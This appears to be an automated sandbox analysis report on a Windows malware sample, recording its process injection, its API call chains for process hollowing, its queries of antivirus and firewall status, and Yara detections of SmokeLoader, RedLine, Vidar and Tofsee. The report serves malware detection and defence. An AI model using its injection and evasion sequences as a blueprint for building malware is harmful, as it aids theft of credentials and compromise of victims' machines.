Source: C:\Users\user\AppData\Roaming\jhewjjt	Memory written: C:\Users\user\AppData\Roaming\jhewjjt base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8939.exe	Memory written: C:\Users\user\AppData\Local\Temp\8939.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8DFC.exe	Memory written: C:\Users\user\AppData\Local\Temp\8DFC.exe base: 400000 value starts with: 4D5A

Contains functionality to inject code into remote processes

Show sources

Source: C:\Users\user\Desktop\JV4ILFxpDY.exe

Code function: 0_2_00640110 VirtualAlloc,GetModuleFileNameA,CreateProcessA,VirtualFree,VirtualAlloc,GetThreadContext,ReadProcessMemory,NtUnmapViewOfSection,VirtualAllocEx,NtWriteVirtualMemory,NtWriteVirtualMemory,WriteProcessMemory,SetThreadContext,ResumeThread,ExitProcess,

0_2_00640110

Creates a thread in another existing process (thread injection)

Show sources

Source: C:\Users\user\Desktop\JV4ILFxpDY.exe	Thread created: C:\Windows\explorer.exe EIP: 4DE1930	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jhewjjt	Thread created: unknown EIP: 5C11930	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8939.exe	Thread created: unknown EIP: 76A1930	Jump to behavior

.NET source code references suspicious native API functions

Show sources

Source: 8DFC.exe.10.dr, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Reference to suspicious API methods: ('r76RP97uO', 'GetProcAddress@kernel32'), ('grYvFMse6', 'LoadLibrary@kernel32')
Source: 8DFC.exe.10.dr, oiranecSnoitcetorPnoitcetorPdednetxEnoitacitnehtuAytiruceSmetsyS75887.cs	Reference to suspicious API methods: ('GetProcAddress', 'GetProcAddress@kernel32'), ('LoadLibrary', 'LoadLibrary@kernel32.dll')
Source: 27.0.8DFC.exe.8d0000.0.unpack, oiranecSnoitcetorPnoitcetorPdednetxEnoitacitnehtuAytiruceSmetsyS75887.cs	Reference to suspicious API methods: ('GetProcAddress', 'GetProcAddress@kernel32'), ('LoadLibrary', 'LoadLibrary@kernel32.dll')
Source: 27.0.8DFC.exe.8d0000.0.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Reference to suspicious API methods: ('r76RP97uO', 'GetProcAddress@kernel32'), ('grYvFMse6', 'LoadLibrary@kernel32')
Source: 27.2.8DFC.exe.8d0000.0.unpack, oiranecSnoitcetorPnoitcetorPdednetxEnoitacitnehtuAytiruceSmetsyS75887.cs	Reference to suspicious API methods: ('GetProcAddress', 'GetProcAddress@kernel32'), ('LoadLibrary', 'LoadLibrary@kernel32.dll')
Source: 27.2.8DFC.exe.8d0000.0.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Reference to suspicious API methods: ('r76RP97uO', 'GetProcAddress@kernel32'), ('grYvFMse6', 'LoadLibrary@kernel32')
Source: 27.0.8DFC.exe.8d0000.1.unpack, oiranecSnoitcetorPnoitcetorPdednetxEnoitacitnehtuAytiruceSmetsyS75887.cs	Reference to suspicious API methods: ('GetProcAddress', 'GetProcAddress@kernel32'), ('LoadLibrary', 'LoadLibrary@kernel32.dll')
Source: 27.0.8DFC.exe.8d0000.1.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Reference to suspicious API methods: ('r76RP97uO', 'GetProcAddress@kernel32'), ('grYvFMse6', 'LoadLibrary@kernel32')
Source: 27.0.8DFC.exe.8d0000.2.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Reference to suspicious API methods: ('r76RP97uO', 'GetProcAddress@kernel32'), ('grYvFMse6', 'LoadLibrary@kernel32')
Source: 27.0.8DFC.exe.8d0000.2.unpack, oiranecSnoitcetorPnoitcetorPdednetxEnoitacitnehtuAytiruceSmetsyS75887.cs	Reference to suspicious API methods: ('GetProcAddress', 'GetProcAddress@kernel32'), ('LoadLibrary', 'LoadLibrary@kernel32.dll')

Source: C:\Users\user\Desktop\JV4ILFxpDY.exe	Process created: C:\Users\user\Desktop\JV4ILFxpDY.exe "C:\Users\user\Desktop\JV4ILFxpDY.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jhewjjt	Process created: C:\Users\user\AppData\Roaming\jhewjjt C:\Users\user\AppData\Roaming\jhewjjt	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 488 -p 1316 -ip 1316	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 1316 -s 520	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8939.exe	Process created: C:\Users\user\AppData\Local\Temp\8939.exe C:\Users\user\AppData\Local\Temp\8939.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8DFC.exe	Process created: C:\Users\user\AppData\Local\Temp\8DFC.exe C:\Users\user\AppData\Local\Temp\8DFC.exe

Source: C:\Users\user\AppData\Local\Temp\D675.exe

Code function: 25_2_0040C4A0 GetProcAddress,GetProcAddress,GetProcAddress,SetMenuItemInfoW,SetMenuItemInfoW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcessDpiAwarenessInternal,GetProcessDpiAwarenessInternal,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,UnhookWindowsHookEx,UnhookWindowsHookEx,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,ChangeMenuW,ChangeMenuW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,DisplayConfigGetDeviceInfo,DisplayConfigGetDeviceInfo,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadBitmapW,LoadBitmapW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,mouse_event,mouse_event,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,CheckRadioButton,CheckRadioButton,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

25_2_0040C4A0

Source: C:\Users\user\AppData\Local\Temp\85ED.exe

Code function: 26_2_00406EDD AllocateAndInitializeSid,CheckTokenMembership,FreeSid,

26_2_00406EDD

Source: C:\Users\user\AppData\Local\Temp\85ED.exe

Code function: 26_2_00407809 CreateThread,GetUserNameA,LookupAccountNameA,GetLengthSid,GetFileSecurityA,GetSecurityDescriptorOwner,EqualSid,LocalAlloc,InitializeSecurityDescriptor,SetSecurityDescriptorOwner,SetFileSecurityA,LocalFree,GetSecurityDescriptorDacl,GetAce,EqualSid,DeleteAce,EqualSid,LocalAlloc,InitializeSecurityDescriptor,SetSecurityDescriptorDacl,SetFileSecurityA,LocalFree,

26_2_00407809

Source: svchost.exe, 00000007.00000002.600873640.000002764CB90000.00000002.00020000.sdmp, explorer.exe, 0000000A.00000000.300155990.00000000011E0000.00000002.00020000.sdmp, explorer.exe, 0000000A.00000000.316277518.00000000011E0000.00000002.00020000.sdmp, explorer.exe, 0000000A.00000000.288621256.00000000011E0000.00000002.00020000.sdmp, 7C86.exe, 00000011.00000000.379359484.0000000000C80000.00000002.00020000.sdmp, 7C86.exe, 00000011.00000000.378178671.0000000000C80000.00000002.00020000.sdmp	Binary or memory string: Program Manager
Source: explorer.exe, 0000000A.00000000.315946859.0000000000B68000.00000004.00000020.sdmp, explorer.exe, 0000000A.00000000.288452806.0000000000B68000.00000004.00000020.sdmp, explorer.exe, 0000000A.00000000.299847428.0000000000B68000.00000004.00000020.sdmp	Binary or memory string: Progman\Pr
Source: svchost.exe, 00000007.00000002.600873640.000002764CB90000.00000002.00020000.sdmp, explorer.exe, 0000000A.00000000.305268389.0000000005E10000.00000004.00000001.sdmp, explorer.exe, 0000000A.00000000.300155990.00000000011E0000.00000002.00020000.sdmp, explorer.exe, 0000000A.00000000.316277518.00000000011E0000.00000002.00020000.sdmp, explorer.exe, 0000000A.00000000.288621256.00000000011E0000.00000002.00020000.sdmp, 7C86.exe, 00000011.00000000.379359484.0000000000C80000.00000002.00020000.sdmp, 7C86.exe, 00000011.00000000.378178671.0000000000C80000.00000002.00020000.sdmp	Binary or memory string: Shell_TrayWnd
Source: svchost.exe, 00000007.00000002.600873640.000002764CB90000.00000002.00020000.sdmp, explorer.exe, 0000000A.00000000.300155990.00000000011E0000.00000002.00020000.sdmp, explorer.exe, 0000000A.00000000.316277518.00000000011E0000.00000002.00020000.sdmp, explorer.exe, 0000000A.00000000.288621256.00000000011E0000.00000002.00020000.sdmp, 7C86.exe, 00000011.00000000.379359484.0000000000C80000.00000002.00020000.sdmp, 7C86.exe, 00000011.00000000.378178671.0000000000C80000.00000002.00020000.sdmp	Binary or memory string: Progman
Source: svchost.exe, 00000007.00000002.600873640.000002764CB90000.00000002.00020000.sdmp, explorer.exe, 0000000A.00000000.300155990.00000000011E0000.00000002.00020000.sdmp, explorer.exe, 0000000A.00000000.316277518.00000000011E0000.00000002.00020000.sdmp, explorer.exe, 0000000A.00000000.288621256.00000000011E0000.00000002.00020000.sdmp, 7C86.exe, 00000011.00000000.379359484.0000000000C80000.00000002.00020000.sdmp, 7C86.exe, 00000011.00000000.378178671.0000000000C80000.00000002.00020000.sdmp	Binary or memory string: Progmanlock
Source: explorer.exe, 0000000A.00000000.325845440.0000000008778000.00000004.00000001.sdmp, explorer.exe, 0000000A.00000000.309764754.0000000008778000.00000004.00000001.sdmp, explorer.exe, 0000000A.00000000.294282172.0000000008778000.00000004.00000001.sdmp	Binary or memory string: Shell_TrayWndh

Source: C:\Users\user\Desktop\JV4ILFxpDY.exe	Code function: GetLocaleInfoA,	0_2_0043A980
Source: C:\Users\user\AppData\Local\Temp\7C86.exe	Code function: GetLocaleInfoA,	17_2_00410857
Source: C:\Users\user\AppData\Local\Temp\8939.exe	Code function: GetLocaleInfoA,	21_2_0043A780
Source: C:\Users\user\AppData\Local\Temp\D675.exe	Code function: GetProcessHeap,RtlAllocateHeap,GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,wsprintfA,wsprintfA,memset,LocalFree,	25_2_0040AE00
Source: C:\Users\user\AppData\Local\Temp\D675.exe	Code function: GetProcessHeap,RtlAllocateHeap,GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,wsprintfA,wsprintfA,memset,LocalFree,	25_2_0058B050

Source: C:\Users\user\AppData\Local\Temp\85ED.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\85ED.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8DFC.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\8DFC.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\8DFC.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\8DFC.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Dynamic\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Dynamic.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\8DFC.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\8DFC.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\8DFC.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\8DFC.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\8DFC.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\SMDiagnostics\v4.0_4.0.0.0__b77a5c561934e089\SMDiagnostics.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\8DFC.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IdentityModel\v4.0_4.0.0.0__b77a5c561934e089\System.IdentityModel.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\8DFC.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel.Internals\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Internals.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\8DFC.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\8DFC.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\8DFC.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation

Source: C:\Windows\explorer.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Users\user\Desktop\JV4ILFxpDY.exe

Code function: 0_2_00419F7F __vswprintf,_putc,__wrename,_atexit,_malloc,_realloc,_ferror,GetBinaryTypeA,SetCurrentDirectoryA,Process32NextW,InitializeCriticalSection,QueryDosDeviceW,TerminateJobObject,GlobalAddAtomW,DeleteAtom,WriteProfileStringA,GetFullPathNameA,FindNextVolumeMountPointW,GetCompressedFileSizeA,GetNamedPipeInfo,lstrcpynA,GetProcessVersion,GetConsoleAliasesLengthW,UnregisterWait,GetProcessHandleCount,CancelWaitableTimer,SetFileApisToANSI,CreateIoCompletionPort,FindClose,SetEndOfFile,GetCommMask,LocalLock,OpenMutexW,GetLastError,HeapFree,WriteConsoleOutputCharacterA,GetModuleHandleW,GetNumberOfConsoleInputEvents,FreeEnvironmentStringsA,GetWriteWatch,GetConsoleAliasExesLengthW,_lopen,FileTimeToLocalFileTime,SetCommState,EnumDateFormatsA,TransactNamedPipe,WriteConsoleInputW,GetConsoleAliasExesLengthA,GetAtomNameW,FreeConsole,FlushConsoleInputBuffer,GetConsoleAliasA,SetConsoleCP,VerSetConditionMask,LockFile,SetSystemTime,SetThreadExecutionState,VerLanguageNameW,lstrcpyA,SetFileShortNameW,GetOverlappedResult,GetPrivateProfileSectionW,FreeEnvironmentStringsW,CreateSemaphoreA,GetLocalTime,EnumTimeFormatsW,FindResourceExW,GetPrivateProfileSectionNamesW,GetOverlappedResult,WaitNamedPipeA,TransmitCommChar,CreateSemaphoreW,GetBinaryTypeW,PeekConsoleInputA,BuildCommDCBA,UnregisterWaitEx,GlobalLock,GetOverlappedResult,GetProcAddress,MoveFileExW,GetThreadContext,ResetEvent,FindActCtxSectionStringA,_memset,SetDefaultCommConfigW,lstrcmpW,HeapUnlock,GetConsoleMode,GetVolumePathNameA,MoveFileW,Process32NextW,GetFileAttributesExA,GetDriveTypeA,TryEnterCriticalSection,GetPrivateProfileStructW,WritePrivateProfileSectionA,GetPrivateProfileSectionW,GetSystemTimeAdjustment,WriteConsoleW,EndUpdateResourceW,FindVolumeMountPointClose,DefineDosDeviceW,InterlockedExchange,SetMailslotInfo,GetTapeParameters,CreateActCtxW,FindCloseChangeNotification,GlobalFindAtomA,TerminateProcess,GetSystemWindowsDirectoryW,GetVersion,SetConsoleMode,WriteFile,lstrcmpA,GetPrivateProfileSectionW,DebugBreak,DeleteVolumeMountPointA,

0_2_00419F7F

Source: C:\Users\user\AppData\Local\Temp\D675.exe

Code function: 25_2_0040AD40 GetProcessHeap,RtlAllocateHeap,GetTimeZoneInformation,wsprintfA,

25_2_0040AD40

Source: C:\Users\user\AppData\Local\Temp\D675.exe

Code function: 25_2_0040ACA0 GetProcessHeap,RtlAllocateHeap,GetUserNameA,

25_2_0040ACA0

Source: C:\Users\user\AppData\Local\Temp\85ED.exe

Code function: 26_2_0040405E CreateEventA,ExitProcess,CloseHandle,CreateNamedPipeA,Sleep,CloseHandle,ConnectNamedPipe,GetLastError,DisconnectNamedPipe,CloseHandle,CloseHandle,CloseHandle,

26_2_0040405E

Source: C:\Users\user\Desktop\JV4ILFxpDY.exe

0_2_00419F7F

Lowering of HIPS / PFW / Operating System Security Settings:

Changes security center settings (notifications, updates, antivirus, firewall)

Show sources

Source: C:\Windows\System32\svchost.exe

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Security Center cval

Jump to behavior

Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecNotificationQuery - ROOT\SecurityCenter : SELECT * FROM __InstanceOperationEvent WHERE TargetInstance ISA 'AntiVirusProduct' OR TargetInstance ISA 'FirewallProduct' OR TargetInstance ISA 'AntiSpywareProduct'
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::CreateInstanceEnum - ROOT\SecurityCenter2 : FirewallProduct
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::CreateInstanceEnum - ROOT\SecurityCenter2 : AntiVirusProduct
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::CreateInstanceEnum - ROOT\SecurityCenter2 : AntiSpywareProduct

Source: svchost.exe, 00000009.00000002.599274138.000002D67FA3D000.00000004.00000001.sdmp	Binary or memory string: @V%ProgramFiles%\Windows Defender\MsMpeng.exe
Source: svchost.exe, 00000009.00000002.599646892.000002D67FB02000.00000004.00000001.sdmp	Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Stealing of Sensitive Information:

Yara detected RedLine Stealer

Show sources

Source: Yara match	File source: 27.2.8DFC.exe.3eef910.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 40.0.8DFC.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 40.0.8DFC.exe.400000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 40.0.8DFC.exe.400000.10.unpack, type: UNPACKEDPE
Source: Yara match	File source: 40.0.8DFC.exe.400000.12.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.8DFC.exe.3eef910.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 40.0.8DFC.exe.400000.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000001B.00000002.439913258.0000000003DD1000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000028.00000000.434050190.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000028.00000000.433322362.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000028.00000000.432692985.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000028.00000000.434564160.0000000000402000.00000040.00000001.sdmp, type: MEMORY

Yara detected SmokeLoader

Show sources

Source: Yara match	File source: 14.2.jhewjjt.5715a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.JV4ILFxpDY.exe.6415a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.1.JV4ILFxpDY.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.JV4ILFxpDY.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.0.8939.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.1.jhewjjt.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.1.8939.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.0.8939.exe.400000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.0.8939.exe.400000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.8939.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.2.8939.exe.5715a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.jhewjjt.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.330734940.00000000004A0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.386614680.00000000005C0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000000.318001908.0000000004DE1000.00000020.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.386682726.00000000005E1000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.402105376.00000000004D1000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.401978598.0000000000420000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.330793260.00000000004E1000.00000004.00020000.sdmp, type: MEMORY

Yara detected Vidar stealer

Show sources

Source: Yara match

File source: 00000019.00000002.391758974.0000000000613000.00000004.00000001.sdmp, type: MEMORY

Yara detected Tofsee

Show sources

Source: Yara match	File source: 26.3.85ED.exe.660000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.2.85ED.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.2.85ED.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.2.85ED.exe.640e50.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000001A.00000002.436599794.0000000000640000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000003.396578240.0000000000660000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000002.436435976.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 85ED.exe PID: 5332, type: MEMORYSTR

Source: Yara match

File source: 00000019.00000002.391758974.0000000000613000.00000004.00000001.sdmp, type: MEMORY

Remote Access Functionality:

Yara detected RedLine Stealer

Show sources

Source: Yara match	File source: 27.2.8DFC.exe.3eef910.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 40.0.8DFC.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 40.0.8DFC.exe.400000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 40.0.8DFC.exe.400000.10.unpack, type: UNPACKEDPE
Source: Yara match	File source: 40.0.8DFC.exe.400000.12.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.8DFC.exe.3eef910.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 40.0.8DFC.exe.400000.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000001B.00000002.439913258.0000000003DD1000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000028.00000000.434050190.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000028.00000000.433322362.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000028.00000000.432692985.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000028.00000000.434564160.0000000000402000.00000040.00000001.sdmp, type: MEMORY

Yara detected SmokeLoader

Show sources

Source: Yara match	File source: 14.2.jhewjjt.5715a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.JV4ILFxpDY.exe.6415a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.1.JV4ILFxpDY.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.JV4ILFxpDY.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.0.8939.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.1.jhewjjt.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.1.8939.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.0.8939.exe.400000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.0.8939.exe.400000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.8939.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.2.8939.exe.5715a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.jhewjjt.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.330734940.00000000004A0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.386614680.00000000005C0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000000.318001908.0000000004DE1000.00000020.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.386682726.00000000005E1000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.402105376.00000000004D1000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.401978598.0000000000420000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.330793260.00000000004E1000.00000004.00020000.sdmp, type: MEMORY

Yara detected Vidar stealer

Show sources

Source: Yara match

File source: 00000019.00000002.391758974.0000000000613000.00000004.00000001.sdmp, type: MEMORY

Yara detected Tofsee

Show sources

Source: Yara match	File source: 26.3.85ED.exe.660000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.2.85ED.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.2.85ED.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.2.85ED.exe.640e50.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000001A.00000002.436599794.0000000000640000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000003.396578240.0000000000660000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000002.436435976.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 85ED.exe PID: 5332, type: MEMORYSTR

Source: C:\Users\user\AppData\Local\Temp\85ED.exe

Code function: 26_2_004088B0 CreateThread,CreateThread,send,recv,socket,connect,closesocket,setsockopt,bind,listen,accept,select,getpeername,getsockname,

26_2_004088B0

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts1	Windows Management Instrumentation1	DLL Side-Loading1	DLL Side-Loading1	Disable or Modify Tools111	Input Capture1	System Time Discovery2	Remote Services	Archive Collected Data11	Exfiltration Over Other Network Medium	Ingress Tool Transfer14	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Native API531	Valid Accounts1	Valid Accounts1	Deobfuscate/Decode Files or Information11	LSASS Memory	Account Discovery1	Remote Desktop Protocol	Input Capture1	Exfiltration Over Bluetooth	Encrypted Channel21	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	Exploitation for Client Execution1	Windows Service4	Access Token Manipulation1	Obfuscated Files or Information3	Security Account Manager	File and Directory Discovery2	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	Non-Standard Port1	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	Command and Scripting Interpreter3	Logon Script (Mac)	Windows Service4	Software Packing33	NTDS	System Information Discovery227	Distributed Component Object Model	Input Capture	Scheduled Transfer	Non-Application Layer Protocol4	SIM Card Swap		Carrier Billing Fraud
